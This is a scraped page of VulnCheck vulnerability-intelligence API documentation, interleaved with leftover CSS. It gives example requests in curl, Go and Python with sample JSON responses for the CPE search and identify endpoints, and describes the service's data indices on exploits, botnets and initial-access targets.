var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:212,title:211,titles:1351,content:214,level:528},,{id:1353,title:1215,titles:1354,content:1217,level:542},/api/openapi#attributes,211,{id:1356,title:1220,titles:1357,content:1358,level:542},/api/openapi#example-requests,211,curl --request GET \\\n    --url https://api.vulncheck.com/v3/openapi \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \fmt\\n    \io\\n    \net/http\\n)\n\nfunc main() {\n    request, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/openapi\, nil)\n    request.Header.Set(\Accept\, \application/json\)\n    request.Header.Set(\Authorization\, \Bearer insert_token_here\)\n\n    response, _ : http.DefaultClient.Do(request)\n    defer response.Body.Close()\n    bodyBytes, _ : io.ReadAll(response.Body)\n    fmt.Println(string(bodyBytes))\n}\nimport requests\nurl  \https://api.vulncheck.com/v3/openapi\\nheaders  {\n  \accept\: \application/json\,\n}\nparams  {}\n\nresponse  requests.get(url, headersheaders, paramsparams)\nprint(response.json()),{id:1360,title:1158,titles:1361,content:1362,level:542},/api/openapi#response,211,{\n  \basePath\: \/v3\,\n  \definitions\: \{...}\,\n  \info\: {\n    \contact\: {\n      \email\: \support@vulncheck.com\,\n      \name\: \VulnCheck API Support\\n    },\n    \description\: \Version 3 of the VulnCheck API\,\n    \termsOfService\: \https://vulncheck.com/terms\,\n    \title\: \VulnCheck API\,\n    \version\: \3.0\\n  }\n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C},{id:217,title:216,titles:1364,content:1365,level:528},,Request vulnerabilities related to specific CPE attributes Based on the specified CPE (Common Platform Enumeration) schema, this endpoint will allow searches on the attributes part, vendor, product, and/or version and return a list of associated vulnerabilities. All search fields are optional.  Attributes must conform to the specifications in the NIST CPE Specification.,{id:1367,title:1231,titles:1368,content:1369,level:542},/api/search_cpe#path-parameters,216,If specified, must be one of application, operating system, or hardware.  If not specified, all parts will be searched.Values for this attribute should describe or identify the person or organization that manufactured or created the product. Any character string meeting the requirements for Well-formed Names (WFNs) may be specified as the value of the attribute.The name of the system/package/component. Product and vendor are sometimes identical. It can not contain spaces, slashes, or most special characters. An underscore should be used in place of whitespace characters.The version of the system/package/component. This is typically a semantic version string, but may very by vendor. This attribute supports trailing wildcards *.\ne.g.version8 will only return CPEs with the exact version string 8.version8.0.6* will return any CPE starting with 8.0.6.Returns only CVEs associated with a CPE where the CPE is considered vulnerable.\nBy default the API will return all CVEs in which the CPE is mentioned, whether the CPE is the source of the vulnerability or not.  For example, cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* is listed in many CVEs as part of a vulnerable configuration, but only one where the the device itself is inherently vulnerable.isVulnerabletrue - Return only the CVEs where the CPE is vulnerable.,{id:1371,title:1220,titles:1372,content:724,level:542},/api/search_cpe#example-requests,216,{id:1374,title:1375,titles:1376,content:1377,level:686},/api/search_cpe#request-vulnerable-cves-for-a-vendor-product-and-version,Request vulnerable CVEs for a vendor, product, and version,216,1220,curl --request GET \\\n    --url \https://api.vulncheck.com/v3/search/cpe?vendormediatek&productmt6890&version*&isVulnerabletrue\ \\\n    --header \Accept: application/json\ \\\n    --header \Authorization: Bearer insert_token_here\,{id:1379,title:1158,titles:1380,content:1381,level:686},/api/search_cpe#response,216,1220,{\n  \_benchmark\: 0.064753,\n  \_meta\: {\n    \timestamp\: \2025-08-25T14:45:54.678582963Z\,\n    \total_documents\: 1\n  },\n  \data\: \n    {\n      \cpe\: \cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*\,\n      \cpe_struct\: {\n        \part\: \h\,\n        \vendor\: \mediatek\,\n        \product\: \mt6890\,\n        \version\: \-\,\n        \update\: \*\,\n        \edition\: \*\,\n        \language\: \*\,\n        \sw_edition\: \*\,\n        \target_sw\: \*\,\n        \target_hw\: \*\,\n        \other\: \*\\n      },\n      \cves\: \n        \CVE-2025-20654\\n      \n    }\n  \n},{id:1383,title:1384,titles:1385,content:1386,level:686},/api/search_cpe#request-all-cves-for-a-vendor-product-and-version,Request all CVEs for a vendor, product, and version,216,1220,curl --request GET \\\n    --url \https://api.vulncheck.com/v3/search/cpe?vendormediatek&productmt6890&version*\ \\\n    --header \Accept: application/json\ \\\n    --header \Authorization: Bearer insert_token_here\,{id:1388,title:1158,titles:1389,content:1390,level:686},/api/search_cpe#response-1,216,1220,{\n  \_benchmark\: 0.037082,\n  \_meta\: {\n    \timestamp\: \2025-08-25T14:45:29.916788664Z\,\n    \total_documents\: 1\n  },\n  \data\: \n    {\n      \cpe\: \cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*\,\n      \cpe_struct\: {\n        \part\: \h\,\n        \vendor\: \mediatek\,\n        \product\: \mt6890\,\n        \version\: \-\,\n        \update\: \*\,\n        \edition\: \*\,\n        \language\: \*\,\n        \sw_edition\: \*\,\n        \target_sw\: \*\,\n        \target_hw\: \*\,\n        \other\: \*\\n      },\n      \cves\: \n        \CVE-2021-40148\,\n        \CVE-2022-20035\,\n        \CVE-2022-20036\,\n        \CVE-2022-20037\,\n        \CVE-2022-20040\,\n        \CVE-2022-20051\,\n        \CVE-2022-20052\,\n        \CVE-2022-20053\,\n        \CVE-2022-20068\,\n        \CVE-2022-20070\,\n        \CVE-2022-20072\,\n        \CVE-2022-20074\,\n        \CVE-2022-20083\,\n        \CVE-2022-21744\,\n        \CVE-2022-21749\,\n        \CVE-2022-21755\,\n        \CVE-2022-21756\,\n        \CVE-2022-21758\,\n        \CVE-2022-21763\,\n        \CVE-2022-21764\,\n        \CVE-2022-21773\,\n        \CVE-2022-26446\,\n        \CVE-2023-20694\,\n        \CVE-2023-20695\,\n        \CVE-2023-20696\,\n        \CVE-2023-20725\,\n        \CVE-2023-20726\,\n        \CVE-2023-20775\,\n        \CVE-2023-20790\,\n        \CVE-2023-20796\,\n        \CVE-2023-20820\,\n        \CVE-2023-20821\,\n        \CVE-2023-20828\,\n        \CVE-2023-20829\,\n        \CVE-2023-20830\,\n        \CVE-2023-20831\,\n        \CVE-2023-20832\,\n        \CVE-2023-20838\,\n        \CVE-2023-32810\,\n        \CVE-2023-32812\,\n        \CVE-2023-32813\,\n        \CVE-2023-32814\,\n        \CVE-2023-32815\,\n        \CVE-2023-32831\,\n        \CVE-2023-32840\,\n        \CVE-2023-32841\,\n        \CVE-2023-32842\,\n        \CVE-2023-32843\,\n        \CVE-2023-32844\,\n        \CVE-2023-32845\,\n        \CVE-2023-32846\,\n        \CVE-2023-32855\,\n        \CVE-2023-32871\,\n        \CVE-2023-32874\,\n        \CVE-2023-32886\,\n        \CVE-2023-32887\,\n        \CVE-2023-32888\,\n        \CVE-2023-32890\,\n        \CVE-2023-32891\,\n        \CVE-2024-20003\,\n        \CVE-2024-20004\,\n        \CVE-2024-20006\,\n        \CVE-2024-20017\,\n        \CVE-2024-20022\,\n        \CVE-2024-20023\,\n        \CVE-2024-20039\,\n        \CVE-2024-20040\,\n        \CVE-2024-20049\,\n        \CVE-2024-20050\,\n        \CVE-2024-20051\,\n        \CVE-2024-20052\,\n        \CVE-2024-20053\,\n        \CVE-2024-20054\,\n        \CVE-2024-20056\,\n        \CVE-2024-20071\,\n        \CVE-2024-20072\,\n        \CVE-2024-20073\,\n        \CVE-2024-20080\,\n        \CVE-2024-20081\,\n        \CVE-2024-20082\,\n        \CVE-2024-20084\,\n        \CVE-2024-20085\,\n        \CVE-2024-20094\,\n        \CVE-2024-20104\,\n        \CVE-2024-20107\,\n        \CVE-2024-20136\,\n        \CVE-2024-20143\,\n        \CVE-2024-20144\,\n        \CVE-2024-20145\,\n        \CVE-2024-20150\,\n        \CVE-2025-20635\,\n        \CVE-2025-20644\,\n        \CVE-2025-20646\,\n        \CVE-2025-20649\,\n        \CVE-2025-20650\,\n        \CVE-2025-20651\,\n        \CVE-2025-20654\,\n        \CVE-2025-20659\,\n        \CVE-2025-20666\,\n        \CVE-2025-20667\,\n        \CVE-2025-20674\,\n        \CVE-2025-20678\,\n        \CVE-2025-20681\,\n        \CVE-2025-20682\,\n        \CVE-2025-20683\,\n        \CVE-2025-20685\,\n        \CVE-2025-20686\,\n        \CVE-2025-20688\,\n        \CVE-2025-20689\,\n        \CVE-2025-20690\,\n        \CVE-2025-20691\,\n        \CVE-2025-20692\\n      \n    }\n  \n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C},{id:222,title:221,titles:1392,content:1393,level:528},,Request identifiers related to a (vendor, product, version) query VulnCheck converts (vendor, product, version) queries and returns a best match CPE and PURL identifiers.,{id:1395,title:1231,titles:1396,content:1397,level:542},/api/identify#path-parameters,221,Values for this attribute should describe or identify the person or organization that manufactured or created the product. Any character string meeting the requirements for Well-formed Names (WFNs) may be specified as the value of the attribute.The name of the system/package/component. Product and vendor are sometimes identical. It can not contain spaces, slashes, or most special characters. An underscore should be used in place of whitespace characters.The version of the system/package/component. This is typically a semantic version string, but may very by vendor.,{id:1399,title:1220,titles:1400,content:1401,level:542},/api/identify#example-requests,221,curl --request GET \\\n    --url https://api.vulncheck.com/v3/identify?vendormicrosoft%20corporation&productoffice%202016 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here,{id:1403,title:1158,titles:1404,content:1405,level:542},/api/identify#response,221,\n  {\n    \identity\: {\n      \part\: \a\,\n      \vendor\: \microsoft\,\n      \product\: \office\,\n      \version\: \2016\,\n      \year\: \2016\\n    },\n    \attributes\: {\n      \update\: \*\,\n      \edition\: \*\,\n      \language\: \*\,\n      \sw_edition\: \*\,\n      \target_sw\: \*\,\n      \target_hw\: \*\,\n      \other\: \*\\n    },\n    \normalized\: {\n      \title\: \Office 2016\,\n      \version\: \2016\\n    },\n    \identifiers\: {\n      \cpe\: \n        {\n          \value\: \cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:*:*\,\n          \confidence\: {\n            \level\: \medium\,\n            \source\: \inference\\n          },\n          \aliases\: \n        }\n      ,\n      \purl\: \n    },\n    \suggestions\: {\n      \cpe\: ,\n      \purl\: \n    },\n    \lifecycle\: {\n      \created_at\: \2025-09-12T16:53:23.307436\\n    }\n  }\n html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178},{id:229,title:233,titles:1407,content:234,level:528},,{id:1409,title:11,titles:1410,content:1411,level:174},/indices#overview,233,VulnCheck Exploit and Vulnerability Intelligence is an autonomous system that tracks hundreds of OSINT sources in addition to generating unique VulnCheck vulnerability and exploit intelligence. VulnCheck provides API indices that enable organizations to access these sources which include exploit sources, exploitation source,  vendor advisories, CERTS, OSS package managers, OT advisories, vulnerability enrichment services, government advisories, EOL software and more. These sources are married with best-in-class exploit intelligence from VulnCheck to deliver aggregate services including vulncheck-nvd2 and exploits. Part of the goal of Version 3 of our API was to streamline data faster and more efficiently. To do this, weve introduced an endpoint that allows you to specify indices as a parameter, making it easier to explore and integrate new sources of data.  Here is a list of all the indices available now in the VulnCheck API.,{id:1413,title:1414,titles:1415,content:1416,level:174},/indices#how-to-access-vulncheck-indices,How to Access VulnCheck Indices,233,VulnCheck indices can be accessed using either the backup endpoint, which provides a complete copy of the index for download, or the index endpoint, which provides a paginated list of documents and can be used to query individual records. A list of the index and backup API endpoints that you have access to, can be found in the VulnCheck API Sandbox located in the VulnCheck dashboard.,{id:1418,title:1199,titles:1419,content:1420,level:174},/indices#api-example-request,233,curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/initial-access \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \initial-access\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\initial-access\)\n\n    print(api_response.data0.url)\nvci backup download initial-access,{id:1422,title:1423,titles:1424,content:1425,level:174},/indices#how-to-use-the-vulncheck-api,How To Use The VulnCheck API,233,See the API Overview to learn how to use the VulnCheck API. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:237,title:236,titles:1427,content:239,level:528},,{id:1429,title:228,titles:1430,content:724,level:174},/indices/vulncheck-intelligence#indices,236,{id:1432,title:1433,titles:1434,content:1435,level:542},/indices/vulncheck-intelligence#vulncheck-advisories,VulnCheck Advisories,236,228,VulnCheck advisories contain curated/generated advisory references for a given cve. Browse the advisories index,{id:1437,title:1438,titles:1439,content:1440,level:542},/indices/vulncheck-intelligence#vulncheck-botnets,VulnCheck Botnets,236,228,The VulnCheck Botnets index contains data related to various botnets. The index contains listings of botnets and citations for the CVE they have been known to use. Browse the botnets index,{id:1442,title:1443,titles:1444,content:1445,level:542},/indices/vulncheck-intelligence#unrolled-vulncheck-cpes,Unrolled VulnCheck CPEs,236,228,This index contains unrolled VulnCheck generated CPEs. Browse the cpe-vulnerable index,{id:1447,title:1448,titles:1449,content:1450,level:542},/indices/vulncheck-intelligence#vulncheck-eol-coverage,VulnCheck EOL Coverage,236,228,The VulnCheck EOL index contains a set of operating systems with associated end-of-life and long term support information. Browse the eol index,{id:1452,title:1453,titles:1454,content:1455,level:542},/indices/vulncheck-intelligence#vulncheck-exploit-chains,VulnCheck Exploit Chains,236,228,Exploit chains advisories are a type of security advisory that focus on the combination of multiple exploits or vulnerabilities that together create a more significant security risk. These advisories typically describe how an attacker could use multiple vulnerabilities in sequence to achieve a desired outcome, such as gaining unauthorized access to a system or stealing sensitive information. Browse the exploit-chains index,{id:1457,title:1458,titles:1459,content:1460,level:542},/indices/vulncheck-intelligence#vulncheck-exploit-intelligence-data,VulnCheck Exploit Intelligence Data,236,228,VulnCheck Exploit Intelligence helps organizations track all of the world’s exploit proof-of-concept code, exploited in-the-wild information, and exploit metadata including timelines, to focus remediation resources on the right vulnerabilities. Browse the exploits index,{id:1462,title:1463,titles:1464,content:1465,level:542},/indices/vulncheck-intelligence#changelog-for-vc-exploits-data,Changelog for VC Exploits Data,236,228,Provides a history of the changes made to an exploits record. Browse the exploits-changelog index,{id:1467,title:1468,titles:1469,content:1470,level:542},/indices/vulncheck-intelligence#vulncheck-initial-access-intelligence,VulnCheck Initial Access Intelligence,236,228,The initial-access index contains data on Initial Access exploits. These exploits are typically the most high impact exploit published. These vulnerabilities, also sometimes referred to as Remote Code Execution (RCE) vulnerabilities, are remote in nature, and typically do not require credentials to exploit. Browse the initial-access index,{id:1472,title:1473,titles:1474,content:1475,level:542},/indices/vulncheck-intelligence#vulncheck-initial-access-intelligence-git-backup-for-subscribers,VulnCheck Initial Access Intelligence Git Backup for Subscribers,236,228,This is a backup-only index for Initial Access detection artifacts hosted on git.vulncheck.com. This backup is only available to licensed subscribers of Initial Access Intelligence. Browse the initial-access-git index,{id:1477,title:1478,titles:1479,content:1480,level:542},/indices/vulncheck-intelligence#_10-day-ip-intelligence-index-of-initial-access-targets-and-command-and-control-infrastructure,10-Day IP Intelligence Index of Initial Access Targets and Command and Control Infrastructure,236,228,The 10-Day IP Intelligence index contains the IP address and geolocation of potentially vulnerable systems that may be targeted by initial access exploits as well as command and control (C2) attacker infrastructure. Browse the ipintel-10d index,{id:1482,title:1483,titles:1484,content:1485,level:542},/indices/vulncheck-intelligence#_30-day-ip-intelligence-index-of-initial-access-targets-and-command-and-control-infrastructure,30-Day IP Intelligence Index of Initial Access Targets and Command and Control Infrastructure,236,228,The 30-Day IP Intelligence index contains the IP address and geolocation of potentially vulnerable systems that may be targeted by initial access exploits as well as command and control (C2) attacker infrastructure. Browse the ipintel-30d index,{id:1487,title:1488,titles:1489,content:1490,level:542},/indices/vulncheck-intelligence#_3-day-ip-intelligence-index-of-initial-access-targets-and-command-and-control-infrastructure,3-Day IP Intelligence Index of Initial Access Targets and Command and Control Infrastructure,236,228,The 3-Day IP Intelligence index contains the IP address and geolocation of potentially vulnerable systems that may be targeted by initial access exploits as well as command and control (C2) attacker infrastructure. Browse the ipintel-3d index,{id:1492,title:1493,titles:1494,content:1495,level:542},/indices/vulncheck-intelligence#_90-day-ip-intelligence-index-of-initial-access-targets-and-command-and-control-infrastructure,90-Day IP Intelligence Index of Initial Access Targets and Command and Control Infrastructure,236,228,The 90-Day IP Intelligence index contains the IP address and geolocation of potentially vulnerable systems that may be targeted by initial access exploits as well as command and control (C2) attacker infrastructure. Browse the ipintel-90d index,{id:1497,title:1498,titles:1499,content:1500,level:542},/indices/vulncheck-intelligence#mitre-attck-technique-id-to-cve-list,MITRE ATT&CK Technique ID to CVE List,236,228,Provides a map between certain MITRE ATT&CK technique IDs and applicable CVEs. Browse the mitre-attack-cve index,{id:1502,title:1503,titles:1504,content:1505,level:542},/indices/vulncheck-intelligence#nist-nvd-10-cve-data-built-from-nist-nvd-20-cve-data,NIST NVD 1.0 CVE data built from NIST NVD 2.0 CVE Data,236,228,NIST NVD (National Institute of Standards and Technology National Vulnerability Database) version 1.0 is an early release of a comprehensive repository of vulnerability information and security-related data. It serves as a valuable resource for cybersecurity professionals, researchers, and organizations by providing detailed information on known software vulnerabilities, including their severity, impact, and associated references. NVD version 1.0 offers a structured format for accessing and analyzing vulnerability data, aiding in the identification and mitigation of security risks across various software and hardware products. Browse the nist-nvd index,{id:1507,title:1508,titles:1509,content:1510,level:542},/indices/vulncheck-intelligence#nist-nvd-20-cpe-match,NIST NVD 2.0 CPE Match,236,228,NIST NVD 2.0 CPE Match Advisories are a type of security advisory that provides information about Common Platform Enumeration (CPE) matches associated with vulnerabilities in the National Vulnerability Database (NVD) 2.0. CPEs are standardized identifiers for software applications, operating systems, and other IT systems, and are used to help organizations identify and track vulnerabilities and other security issues. NIST NVD 2.0 CPE Match Advisories provide information about the CPEs associated with specific vulnerabilities listed in the NVD 2.0. This information can help organizations better understand the scope and potential impact of a given vulnerability, and to take appropriate action to mitigate the associated risks. NIST NVD 2.0 CPE Match Advisories may also include information about known exploits or other factors that may increase the severity of a given vulnerability. By leveraging the information provided by NIST NVD 2.0 CPE Match Advisories, organizations can gain a deeper understanding of potential security risks and vulnerabilities, and develop more effective strategies for mitigating those risks. The advisories can also help organizations to prioritize their response to potential security incidents, and to ensure that critical systems and applications are appropriately secured and protected against advanced and persistent threats. Overall, NIST NVD 2.0 CPE Match Advisories are an important tool for organizations looking to maintain the security and integrity of their networks and systems. Browse the nist-nvd2-cpematch 